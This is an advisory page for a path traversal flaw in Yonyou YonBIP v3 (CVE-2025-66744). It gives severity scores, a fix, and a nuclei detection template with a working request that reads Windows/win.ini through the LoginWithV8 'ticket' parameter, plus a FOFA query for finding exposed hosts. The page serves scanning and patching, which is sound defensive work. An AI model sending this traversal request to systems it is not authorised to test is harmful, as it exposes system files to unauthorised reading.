Yonyou YonBIP - Path Traversal

highseverity

7.5CVSS score

1.5%likelihood of exploitation, next 30 days

75%of all CVEs are less likely

Readycheck to confirm it

Yonyou YonBIP v3 and before contains a path traversal caused by improper validation in the LoginWithV8 interface of the series data application service system, letting unauthorized attackers access sensitive information.

Impact

Unauthorized attackers can access sensitive system information, potentially leading to data exposure.

Fix

Update to the latest version beyond v3.

How to confirm it

Send: GET /bi/api/Portal/LoginWithV8/?ticket=/../../../../Windows/win.ini
Positive when: contains "[fonts]" and "[extensions]" and "Message" AND status 200

Run it with nuclei: nuclei -id CVE-2025-66744 -u <target>

The full check

id: CVE-2025-66744

info:
  name: Yonyou YonBIP - Path Traversal
  author: DhiyaneshDk
  severity: high
  description: |
    Yonyou YonBIP v3 and before contains a path traversal caused by improper validation in the LoginWithV8 interface of the series data application service system, letting unauthorized attackers access sensitive information.
  impact: |
    Unauthorized attackers can access sensitive system information, potentially leading to data exposure.
  remediation: |
    Update to the latest version beyond v3.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-66744
    - https://github.com/iSee857/YonYouBip-path-travel
  classification:
    cve-id: CVE-2025-66744
    epss-score: 0.01544
    epss-percentile: 0.75181
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
  metadata:
    max-request: 1
    verified: true
    fofa-query: body="YonBIP | 数据应用服务"
  tags: cve,cve2025,yonbip,lfi,vkev

http:
  - raw:
      - |
        GET /bi/api/Portal/LoginWithV8/?ticket=/../../../../Windows/win.ini HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "[fonts]"
          - "[extensions]"
          - "Message"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from